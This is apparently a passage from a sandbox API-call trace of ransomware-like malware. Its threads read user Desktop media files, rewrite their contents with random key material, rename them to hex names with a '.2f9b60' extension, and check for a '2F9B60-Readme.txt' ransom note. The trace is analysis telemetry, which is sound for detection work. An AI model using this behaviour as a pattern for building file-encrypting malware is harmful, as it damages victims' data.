(HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261af0 [0105.044] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20261af0) returned 1 [0105.044] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2e) returned 0x1cd9f430 [0105.044] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261af0 [0105.044] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261ac0 [0105.044] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20261ac0) returned 1 [0105.044] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85e010) returned 1 [0105.045] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97620) returned 1 [0105.045] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5d) returned 0x1ced8ec0 [0105.045] sprintf (in: _Dest=0x1ced8ec0, _Format="%c%c" | out: _Dest="69") returned 2 [0105.045] sprintf (in: _Dest=0x1ced8ec2, _Format="%c%c" | out: _Dest="2f") returned 2 [0105.045] sprintf (in: _Dest=0x1ced8ec4, _Format="%c%c" | out: _Dest="bd") returned 2 [0105.045] sprintf (in: _Dest=0x1ced8ec6, _Format="%c%c" | out: _Dest="0b") returned 2 [0105.045] sprintf (in: _Dest=0x1ced8ec8, _Format="%c%c" | out: _Dest="14") returned 2 [0105.045] sprintf (in: _Dest=0x1ced8eca, _Format="%c%c" | out: _Dest="b0") returned 2 [0105.045] sprintf (in: _Dest=0x1ced8ecc, _Format="%c%c" | out: _Dest="6f") returned 2 [0105.045] sprintf (in: _Dest=0x1ced8ece, _Format="%c%c" | out: _Dest="4a") returned 2 [0105.045] sprintf (in: _Dest=0x1ced8ed0, _Format="%c%c" | out: _Dest="ce") returned 2 [0105.045] sprintf (in: _Dest=0x1ced8ed2, _Format="%c%c" | out: _Dest="6c") returned 2 [0105.045] sprintf (in: _Dest=0x1ced8ed4, _Format="%c%c" | out: _Dest="26") returned 2 [0105.045] sprintf (in: _Dest=0x1ced8ed6, _Format="%c%c" | out: _Dest="8f") returned 2 [0105.045] sprintf (in: _Dest=0x1ced8ed8, _Format="%c%c" | out: _Dest="e1") returned 2 [0105.045] sprintf (in: _Dest=0x1ced8eda, _Format="%c%c" | out: _Dest="42") returned 2 [0105.045] sprintf (in: _Dest=0x1ced8edc, _Format="%c%c" | out: _Dest="b5") returned 2 [0105.045] sprintf (in: _Dest=0x1ced8ede, _Format="%c%c" | out: _Dest="c8") returned 2 [0105.045] sprintf (in: _Dest=0x1ced8ee0, _Format="%c%c" | out: _Dest="f2") returned 2 [0105.045] sprintf (in: _Dest=0x1ced8ee2, _Format="%c%c" | out: _Dest="e4") returned 2 [0105.045] sprintf (in: _Dest=0x1ced8ee4, _Format="%c%c" | out: _Dest="ff") returned 2 [0105.045] sprintf (in: _Dest=0x1ced8ee6, _Format="%c%c" | out: _Dest="5b") returned 2 [0105.045] sprintf (in: _Dest=0x1ced8ee8, _Format="%c%c" | out: _Dest="ad") returned 2 [0105.045] sprintf (in: _Dest=0x1ced8eea, _Format="%c%c" | out: _Dest="5b") returned 2 [0105.046] sprintf (in: _Dest=0x1ced8eec, _Format="%c%c" | out: _Dest="de") returned 2 [0105.046] sprintf (in: _Dest=0x1ced8eee, _Format="%c%c" | out: _Dest="19") returned 2 [0105.046] sprintf (in: _Dest=0x1ced8ef0, _Format="%c%c" | out: _Dest="f6") returned 2 [0105.046] sprintf (in: _Dest=0x1ced8ef2, _Format="%c%c" | out: _Dest="bc") returned 2 [0105.046] sprintf (in: _Dest=0x1ced8ef4, _Format="%c%c" | out: _Dest="08") returned 2 [0105.046] sprintf (in: _Dest=0x1ced8ef6, _Format="%c%c" | out: _Dest="e4") returned 2 [0105.046] sprintf (in: _Dest=0x1ced8ef8, _Format="%c%c" | out: _Dest="6b") returned 2 [0105.046] sprintf (in: _Dest=0x1ced8efa, _Format="%c%c" | out: _Dest="1a") returned 2 [0105.046] sprintf (in: _Dest=0x1ced8efc, _Format="%c%c" | out: _Dest="32") returned 2 [0105.046] sprintf (in: _Dest=0x1ced8efe, _Format="%c%c" | out: _Dest="4c") returned 2 [0105.046] sprintf (in: _Dest=0x1ced8f00, _Format="%c%c" | out: _Dest="04") returned 2 [0105.046] sprintf (in: _Dest=0x1ced8f02, _Format="%c%c" | out: _Dest="28") returned 2 [0105.046] sprintf (in: _Dest=0x1ced8f04, _Format="%c%c" | out: _Dest="4f") returned 2 [0105.046] sprintf (in: _Dest=0x1ced8f06, _Format="%c%c" | out: _Dest="af") returned 2 [0105.046] sprintf (in: _Dest=0x1ced8f08, _Format="%c%c" | out: _Dest="f8") returned 2 [0105.046] sprintf (in: _Dest=0x1ced8f0a, _Format="%c%c" | out: _Dest="0a") returned 2 [0105.046] sprintf (in: _Dest=0x1ced8f0c, _Format="%c%c" | out: _Dest="40") returned 2 [0105.046] sprintf (in: _Dest=0x1ced8f0e, _Format="%c%c" | out: _Dest="4e") returned 2 [0105.046] sprintf (in: _Dest=0x1ced8f10, _Format="%c%c" | out: _Dest="6d") returned 2 [0105.046] sprintf (in: _Dest=0x1ced8f12, _Format="%c%c" | out: _Dest="54") returned 2 [0105.046] sprintf (in: _Dest=0x1ced8f14, _Format="%c%c" | out: _Dest="95") returned 2 [0105.046] sprintf (in: _Dest=0x1ced8f16, _Format="%c%c" | out: _Dest="a2") returned 2 [0105.046] sprintf (in: _Dest=0x1ced8f18, _Format="%c%c" | out: _Dest="5f") returned 2 [0105.046] sprintf (in: _Dest=0x1ced8f1a, _Format="%c%c" | out: _Dest="36") returned 2 [0105.046] RtlInitAnsiString (in: DestinationString=0x21fefdc8, SourceString="692fbd0b14b06f4ace6c268fe142b5c8f2e4ff5bad5bde19f6bc08e46b1a324c04284faff80a404e6d5495a25f36" | out: DestinationString="692fbd0b14b06f4ace6c268fe142b5c8f2e4ff5bad5bde19f6bc08e46b1a324c04284faff80a404e6d5495a25f36") [0105.047] RtlAnsiStringToUnicodeString (in: DestinationString=0x21fefd98, SourceString="692fbd0b14b06f4ace6c268fe142b5c8f2e4ff5bad5bde19f6bc08e46b1a324c04284faff80a404e6d5495a25f36", AllocateDestinationString=1 | out: DestinationString="692fbd0b14b06f4ace6c268fe142b5c8f2e4ff5bad5bde19f6bc08e46b1a324c04284faff80a404e6d5495a25f36") returned 0x0 [0105.047] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xba) returned 0x118c90 [0105.047] wcscat (in: _Dest=0x4205c6f0, _Source="692fbd0b14b06f4ace6c268" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\692fbd0b14b06f4ace6c268") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\692fbd0b14b06f4ace6c268" [0105.047] wcscat (in: _Dest=0x4205c6f0, _Source=".2f9b60" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\692fbd0b14b06f4ace6c268.2f9b60") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\692fbd0b14b06f4ace6c268.2f9b60" [0105.047] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\692fbd0b14b06f4ace6c268.2f9b60", NtPathName=0x21fefd70, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\692fbd0b14b06f4ace6c268.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0105.047] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa8) returned 0x2050c030 [0105.707] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050c030) returned 1 [0105.707] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ceccdd0) returned 1 [0105.708] NtQueryInformationFile (in: FileHandle=0x14cc, IoStatusBlock=0x21fefdd8, FileInformation=0x21fefde8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x21fefdd8, FileInformation=0x21fefde8) returned 0x0 [0105.708] NtSetInformationFile (FileHandle=0x14cc, IoStatusBlock=0x21fefdd8, FileInformation=0x21fefde8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0105.716] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205c6f0) returned 1 [0105.716] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x118c90) returned 1 [0105.716] FlushFileBuffers (hFile=0x14cc) returned 1 [0105.719] CloseHandle (hObject=0x14cc) returned 1 [0105.720] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x72) returned 0x1b85da10 [0105.720] wcscpy (in: _Dest=0x1b85da10, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" [0105.720] wcscat (in: _Dest=0x1b85da10, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\2F9B60-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\2F9B60-Readme.txt" [0105.720] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\2F9B60-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\2f9b60-readme.txt")) returned 0x20 [0105.734] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85da10) returned 1 [0105.734] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7841c0) returned 1 Thread: id = 788 os_tid = 0x1334 [0098.834] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\M-GLkDdI5x mf83D5MYD.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\m-glkddi5x mf83d5myd.wav")) returned 0x20 [0098.835] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\M-GLkDdI5x mf83D5MYD.wav", dwFileAttributes=0x20) returned 1 [0098.835] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\M-GLkDdI5x mf83D5MYD.wav" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\m-glkddi5x mf83d5myd.wav"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x14d0 [0098.835] GetFileSizeEx (in: hFile=0x14d0, lpFileSize=0x2077f9e0 | out: lpFileSize=0x2077f9e0*=21475) returned 1 [0098.835] SetFilePointerEx (in: hFile=0x14d0, liDistanceToMove=0x53df, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.835] ReadFile (in: hFile=0x14d0, lpBuffer=0x2077f960, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2077f9a8, lpOverlapped=0x0 | out: lpBuffer=0x2077f960*, lpNumberOfBytesRead=0x2077f9a8*=0x4, lpOverlapped=0x0) returned 1 [0098.836] SetFilePointerEx (in: hFile=0x14d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.836] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260da0 [0098.836] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260e30 [0098.836] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260e60 [0098.836] NtQuerySystemTime (in: CurrentTime=0x2077f8a0 | out: CurrentTime=0x2077f8a0*=132462177043558000) returned 0x0 [0098.836] RtlRandomEx (in: Seed=0x2077f890 | out: Seed=0x2077f890) returned 0x2d6ae347 [0098.836] RtlRandomEx (in: Seed=0x2077f890 | out: Seed=0x2077f890) returned 0x30a342f8 [0098.836] RtlRandomEx (in: Seed=0x2077f890 | out: Seed=0x2077f890) returned 0x626ad5b4 [0098.836] RtlRandomEx (in: Seed=0x2077f890 | out: Seed=0x2077f890) returned 0xaae1261 [0098.836] RtlRandomEx (in: Seed=0x2077f890 | out: Seed=0x2077f890) returned 0xf8246e0 [0098.836] RtlRandomEx (in: Seed=0x2077f890 | out: Seed=0x2077f890) returned 0x46008380 [0098.837] RtlRandomEx (in: Seed=0x2077f890 | out: Seed=0x2077f890) returned 0x79595453 [0098.837] RtlRandomEx (in: Seed=0x2077f890 | out: Seed=0x2077f890) returned 0x3fbbdcb3 [0098.837] RtlRandomEx (in: Seed=0x2077f890 | out: Seed=0x2077f890) returned 0x11174602 [0098.837] RtlRandomEx (in: Seed=0x2077f890 | out: Seed=0x2077f890) returned 0x5522f371 [0098.837] RtlRandomEx (in: Seed=0x2077f890 | out: Seed=0x2077f890) returned 0x798325a [0098.837] RtlRandomEx (in: Seed=0x2077f890 | out: Seed=0x2077f890) returned 0x150ebe3b [0098.837] RtlRandomEx (in: Seed=0x2077f890 | out: Seed=0x2077f890) returned 0x55cc52fa [0098.837] RtlRandomEx (in: Seed=0x2077f890 | out: Seed=0x2077f890) returned 0x26a8c6dd [0098.837] RtlRandomEx (in: Seed=0x2077f890 | out: Seed=0x2077f890) returned 0x77105e3b [0098.837] RtlRandomEx (in: Seed=0x2077f890 | out: Seed=0x2077f890) returned 0x7225b430 [0098.837] RtlRandomEx (in: Seed=0x2077f890 | out: Seed=0x2077f890) returned 0x40ed35d5 [0098.837] RtlRandomEx (in: Seed=0x2077f890 | out: Seed=0x2077f890) returned 0x4484a514 [0098.837] RtlRandomEx (in: Seed=0x2077f890 | out: Seed=0x2077f890) returned 0x53313b06 [0098.837] RtlRandomEx (in: Seed=0x2077f890 | out: Seed=0x2077f890) returned 0x161a5988 [0098.837] RtlRandomEx (in: Seed=0x2077f890 | out: Seed=0x2077f890) returned 0x313fea1d [0098.837] RtlRandomEx (in: Seed=0x2077f890 | out: Seed=0x2077f890) returned 0x31a53e5e [0098.837] RtlRandomEx (in: Seed=0x2077f890 | out: Seed=0x2077f890) returned 0x3d36da84 [0098.837] RtlRandomEx (in: Seed=0x2077f890 | out: Seed=0x2077f890) returned 0x78d98c66 [0098.837] RtlRandomEx (in: Seed=0x2077f890 | out: Seed=0x2077f890) returned 0x3224a273 [0098.837] RtlRandomEx (in: Seed=0x2077f890 | out: Seed=0x2077f890) returned 0x32a9272e [0098.837] RtlRandomEx (in: Seed=0x2077f890 | out: Seed=0x2077f890) returned 0x5ccc4c36 [0098.837] RtlRandomEx (in: Seed=0x2077f890 | out: Seed=0x2077f890) returned 0x2a822fd [0098.837] RtlRandomEx (in: Seed=0x2077f890 | out: Seed=0x2077f890) returned 0x77b811dc [0098.837] RtlRandomEx (in: Seed=0x2077f890 | out: Seed=0x2077f890) returned 0xcc6330c [0098.837] RtlRandomEx (in: Seed=0x2077f890 | out: Seed=0x2077f890) returned 0x7bad26f1 [0098.837] RtlRandomEx (in: Seed=0x2077f890 | out: Seed=0x2077f890) returned 0x5edd0bf1 [0098.847] SetFilePointerEx (in: hFile=0x14d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.847] ReadFile (in: hFile=0x14d0, lpBuffer=0x20222d00, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2077f900, lpOverlapped=0x0 | out: lpBuffer=0x20222d00*, lpNumberOfBytesRead=0x2077f900*=0x3c00, lpOverlapped=0x0) returned 1 [0098.847] SetFilePointerEx (in: hFile=0x14d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.847] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97300 [0098.847] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8665c0 [0098.847] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260da0 [0098.847] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260da0) returned 1 [0098.847] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x20226910 [0098.847] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260da0 [0098.847] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20260e60 [0098.847] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20260e60) returned 1 [0098.848] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8665c0) returned 1 [0098.848] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97300) returned 1 [0098.848] WriteFile (in: hFile=0x14d0, lpBuffer=0x20226910*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2077f900, lpOverlapped=0x0 | out: lpBuffer=0x20226910*, lpNumberOfBytesWritten=0x2077f900*=0x3c00, lpOverlapped=0x0) returned 1 [0100.521] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20226910) returned 1 [0100.521] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20222d00) returned 1 [0100.521] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3e) returned 0x1cd97fd0 [0100.924] SetFilePointerEx (in: hFile=0x14d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0100.925] WriteFile (in: hFile=0x14d0, lpBuffer=0x1b86f7a0*, nNumberOfBytesToWrite=0x122, lpNumberOfBytesWritten=0x2077f9b0, lpOverlapped=0x0 | out: lpBuffer=0x1b86f7a0*, lpNumberOfBytesWritten=0x2077f9b0*=0x122, lpOverlapped=0x0) returned 1 [0101.931] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd971c0 [0101.931] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869a40 [0101.931] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261040 [0101.931] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20261040) returned 1 [0101.931] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x30) returned 0x1cd9f130 [0101.931] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261040 [0101.932] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261010 [0101.932] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20261010) returned 1 [0101.932] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869a40) returned 1 [0101.932] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd971c0) returned 1 [0101.932] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x61) returned 0x1ced9160 [0101.932] sprintf (in: _Dest=0x1ced9160, _Format="%c%c" | out: _Dest="a9") returned 2 [0101.932] sprintf (in: _Dest=0x1ced9162, _Format="%c%c" | out: _Dest="97") returned 2 [0101.932] sprintf (in: _Dest=0x1ced9164, _Format="%c%c" | out: _Dest="e8") returned 2 [0101.932] sprintf (in: _Dest=0x1ced9166, _Format="%c%c" | out: _Dest="4c") returned 2 [0101.932] sprintf (in: _Dest=0x1ced9168, _Format="%c%c" | out: _Dest="0c") returned 2 [0101.932] sprintf (in: _Dest=0x1ced916a, _Format="%c%c" | out: _Dest="fa") returned 2 [0101.932] sprintf (in: _Dest=0x1ced916c, _Format="%c%c" | out: _Dest="1a") returned 2 [0101.932] sprintf (in: _Dest=0x1ced916e, _Format="%c%c" | out: _Dest="9b") returned 2 [0101.932] sprintf (in: _Dest=0x1ced9170, _Format="%c%c" | out: _Dest="11") returned 2 [0101.932] sprintf (in: _Dest=0x1ced9172, _Format="%c%c" | out: _Dest="16") returned 2 [0101.932] sprintf (in: _Dest=0x1ced9174, _Format="%c%c" | out: _Dest="0b") returned 2 [0101.932] sprintf (in: _Dest=0x1ced9176, _Format="%c%c" | out: _Dest="90") returned 2 [0101.933] sprintf (in: _Dest=0x1ced9178, _Format="%c%c" | out: _Dest="04") returned 2 [0101.933] sprintf (in: _Dest=0x1ced917a, _Format="%c%c" | out: _Dest="cd") returned 2 [0101.933] sprintf (in: _Dest=0x1ced917c, _Format="%c%c" | out: _Dest="d9") returned 2 [0101.933] sprintf (in: _Dest=0x1ced917e, _Format="%c%c" | out: _Dest="da") returned 2 [0101.933] sprintf (in: _Dest=0x1ced9180, _Format="%c%c" | out: _Dest="09") returned 2 [0101.933] sprintf (in: _Dest=0x1ced9182, _Format="%c%c" | out: _Dest="a4") returned 2 [0101.933] sprintf (in: _Dest=0x1ced9184, _Format="%c%c" | out: _Dest="93") returned 2 [0101.933] sprintf (in: _Dest=0x1ced9186, _Format="%c%c" | out: _Dest="20") returned 2 [0101.933] sprintf (in: _Dest=0x1ced9188, _Format="%c%c" | out: _Dest="78") returned 2 [0101.933] sprintf (in: _Dest=0x1ced918a, _Format="%c%c" | out: _Dest="bb") returned 2 [0101.933] sprintf (in: _Dest=0x1ced918c, _Format="%c%c" | out: _Dest="b5") returned 2 [0101.933] sprintf (in: _Dest=0x1ced918e, _Format="%c%c" | out: _Dest="fa") returned 2 [0101.933] sprintf (in: _Dest=0x1ced9190, _Format="%c%c" | out: _Dest="d6") returned 2 [0101.933] sprintf (in: _Dest=0x1ced9192, _Format="%c%c" | out: _Dest="2d") returned 2 [0101.933] sprintf (in: _Dest=0x1ced9194, _Format="%c%c" | out: _Dest="b7") returned 2 [0101.933] sprintf (in: _Dest=0x1ced9196, _Format="%c%c" | out: _Dest="33") returned 2 [0101.933] sprintf (in: _Dest=0x1ced9198, _Format="%c%c" | out: _Dest="89") returned 2 [0101.933] sprintf (in: _Dest=0x1ced919a, _Format="%c%c" | out: _Dest="42") returned 2 [0101.934] sprintf (in: _Dest=0x1ced919c, _Format="%c%c" | out: _Dest="09") returned 2 [0101.934] sprintf (in: _Dest=0x1ced919e, _Format="%c%c" | out: _Dest="e7") returned 2 [0101.934] sprintf (in: _Dest=0x1ced91a0, _Format="%c%c" | out: _Dest="e0") returned 2 [0101.934] sprintf (in: _Dest=0x1ced91a2, _Format="%c%c" | out: _Dest="37") returned 2 [0101.934] sprintf (in: _Dest=0x1ced91a4, _Format="%c%c" | out: _Dest="fb") returned 2 [0101.934] sprintf (in: _Dest=0x1ced91a6, _Format="%c%c" | out: _Dest="c1") returned 2 [0101.934] sprintf (in: _Dest=0x1ced91a8, _Format="%c%c" | out: _Dest="39") returned 2 [0101.934] sprintf (in: _Dest=0x1ced91aa, _Format="%c%c" | out: _Dest="64") returned 2 [0101.934] sprintf (in: _Dest=0x1ced91ac, _Format="%c%c" | out: _Dest="99") returned 2 [0101.934] sprintf (in: _Dest=0x1ced91ae, _Format="%c%c" | out: _Dest="ab") returned 2 [0101.934] sprintf (in: _Dest=0x1ced91b0, _Format="%c%c" | out: _Dest="1a") returned 2 [0101.934] sprintf (in: _Dest=0x1ced91b2, _Format="%c%c" | out: _Dest="0a") returned 2 [0101.934] sprintf (in: _Dest=0x1ced91b4, _Format="%c%c" | out: _Dest="f2") returned 2 [0101.934] sprintf (in: _Dest=0x1ced91b6, _Format="%c%c" | out: _Dest="d9") returned 2 [0101.934] sprintf (in: _Dest=0x1ced91b8, _Format="%c%c" | out: _Dest="84") returned 2 [0101.934] sprintf (in: _Dest=0x1ced91ba, _Format="%c%c" | out: _Dest="6d") returned 2 [0101.934] sprintf (in: _Dest=0x1ced91bc, _Format="%c%c" | out: _Dest="14") returned 2 [0101.934] sprintf (in: _Dest=0x1ced91be, _Format="%c%c" | out: _Dest="c9") returned 2 [0101.934] RtlInitAnsiString (in: DestinationString=0x2077fa28, SourceString="a997e84c0cfa1a9b11160b9004cdd9da09a4932078bbb5fad62db733894209e7e037fbc1396499ab1a0af2d9846d14c9" | out: DestinationString="a997e84c0cfa1a9b11160b9004cdd9da09a4932078bbb5fad62db733894209e7e037fbc1396499ab1a0af2d9846d14c9") [0101.934] RtlAnsiStringToUnicodeString (in: DestinationString=0x2077f9f8, SourceString="a997e84c0cfa1a9b11160b9004cdd9da09a4932078bbb5fad62db733894209e7e037fbc1396499ab1a0af2d9846d14c9", AllocateDestinationString=1 | out: DestinationString="a997e84c0cfa1a9b11160b9004cdd9da09a4932078bbb5fad62db733894209e7e037fbc1396499ab1a0af2d9846d14c9") returned 0x0 [0101.935] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc2) returned 0x119650 [0101.935] wcscat (in: _Dest=0x4205c0b0, _Source="a997e84c0cfa1a9b11160b90" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\a997e84c0cfa1a9b11160b90") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\a997e84c0cfa1a9b11160b90" [0101.935] wcscat (in: _Dest=0x4205c0b0, _Source=".2f9b60" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\a997e84c0cfa1a9b11160b90.2f9b60") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\a997e84c0cfa1a9b11160b90.2f9b60" [0101.935] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\a997e84c0cfa1a9b11160b90.2f9b60", NtPathName=0x2077f9d0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\a997e84c0cfa1a9b11160b90.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0101.935] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xaa) returned 0x20278770 [0108.973] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20278770) returned 1 [0108.973] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420518c0) returned 1 [0108.973] NtQueryInformationFile (in: FileHandle=0x14d0, IoStatusBlock=0x2077fa38, FileInformation=0x2077fa48, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2077fa38, FileInformation=0x2077fa48) returned 0x0 [0108.973] NtSetInformationFile (FileHandle=0x14d0, IoStatusBlock=0x2077fa38, FileInformation=0x2077fa48, Length=0x28, FileInformationClass=0x4) returned 0x0 [0108.985] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205c0b0) returned 1 [0108.985] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x119650) returned 1 [0108.985] FlushFileBuffers (hFile=0x14d0) returned 1 [0109.000] CloseHandle (hObject=0x14d0) returned 1 [0109.001] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x72) returned 0x1b869a40 [0109.001] wcscpy (in: _Dest=0x1b869a40, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" [0109.001] wcscat (in: _Dest=0x1b869a40, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\2F9B60-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\2F9B60-Readme.txt" [0109.001] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\2F9B60-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\2f9b60-readme.txt")) returned 0x20 [0109.001] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869a40) returned 1 [0109.001] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7840a0) returned 1 Thread: id = 789 os_tid = 0x1338 [0098.849] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\mqSWI.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\mqswi.mkv")) returned 0x20 [0098.849] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\mqSWI.mkv", dwFileAttributes=0x20) returned 1 [0098.850] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\mqSWI.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\mqswi.mkv"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x14d4 [0098.850] GetFileSizeEx (in: hFile=0x14d4, lpFileSize=0x2249f960 | out: lpFileSize=0x2249f960*=98872) returned 1 [0098.850] 